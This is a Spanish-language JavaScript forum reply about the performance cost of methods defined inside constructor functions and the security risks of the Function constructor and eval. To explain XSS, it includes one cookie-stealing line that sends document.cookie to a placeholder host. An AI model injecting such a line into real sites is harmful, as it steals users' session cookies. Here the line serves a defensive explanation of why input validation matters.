Ver Mensaje Individual
  #5 (permalink)  
Antiguo 12/02/2010, 11:15
Avatar de buzu
buzu
 
Fecha de Ingreso: octubre-2006
Ubicación: San Francisco, CA
Mensajes: 2.168
Antigüedad: 18 años, 1 mes
Puntos: 122
Respuesta: ¿Por qué no usar function() para generar objetos?

Hola david, no se habla de function sino de Function la cual trae implicaciones en la seguridad. De hecho crear objetos enteramente basados en function si trae problemas de rendimiento pero solo si el objeto es demasiado complejo y es instanciado varias veces y está escrito de la siguiente forma:

Código Javascript:
Ver original
  1. var ob = function(){
  2.    this.init = function(){
  3.  
  4.    }
  5.    this,method1 = function(){
  6.  
  7.    }
  8.    this.method2 = function(){
  9.  
  10.    }
  11.    .....
  12.    this.methodN = function(){
  13.  
  14.    }
  15. }

Ya que como bien has mencionado, el problema es que al crear otra instancia se vuelven a cargar en memoria todos los métodos y propiedades del objeto original. Una vez oí un argumento similar en cuanto a Object Litaral Notation, pero sinceramente no creo que sea validad tomando en cuenta que un objeto escrito de esa manera no puede ser instanciado (ojo, si puede ser copiado y eso cumpliría el mismo efecto de instanciar, pero con las mismas desventajas en rendimiento que el ejemplo mostrado anteriormente).

En lo personal prefiero OLN y simular la instanciación mediante una serie de estados y propiedades, pero cuando necesito usar un objeto que será re-instanciado un número indeterminado de vece, me voy por el constructor y prototipos.

EL problema con Function (nótese la F mayúscula) es que puede tomar cualquier string y ejecutarla tal como pasa con eval. En la actualidad podría pensarse que ya irrelevante debido al numero de opciones que existen para inyectar y ejecutar código en el cliente. Sin embargo, hay que recordar que aún hay muchos sitios vulnerables a XSS en los que simplemente puedo escribir:

document.location = 'http://misitio.com?guarda.php?c=' + document.cookie;

y de esa manera hacerme de un poco de información que con suerte puede resultar útil. Ahora, todo esto viene ya que esconder un string es fácil. Y eso ni hablar de ofuscar código y después evaluarlo con eval o Function. Chances hay que logremos perpetuar un ataque con el uso de uno de esos dos amigos.

Lo que no se puso en claro en aquella conversación es que firebug nos deja ejecutar código del lado del cliente pero solo en nuestra máquina, mientras que eval y Function nos permitirán hacerlo en cualquier máquina que entre a un sitio cuya seguridad esté comprometida. Más específicamente estamos hablando de sitios que no se preocupan por validar el input del usuario o que lo hacen a medias o con métodos ineficaces.

Ahora, me gustaría invitar a dos amigos a la conversación, Panino5001 y jseros, y poder armar un buen cumulo de conocimiento del que todos aprendamos. Probablemente podamos traer a la ecuación las implicaciones en seguridad que el uso de greasemonkey puede tener para desarrolladores que basan su seguridad ajax en el hecho de que ajax es mantenido siempre en el mismo dominio de origen y no puede ir más aya.


EDITO; Creo que el problema aquí radica en el hecho de que se habla del constructor Function. La palabra constructor está mal empleada en este caso ya que debería haberse hablado de la clase Function. Ahora, podemos discutir lo que ya se ha discutido anteriormente sobre que js no tiene clases. Sin embargo, si las tiene, pero nosotros no las podemos crear. Si recuerdan está la clase Date, Number, String, Function etc...
__________________
twitter: @imbuzu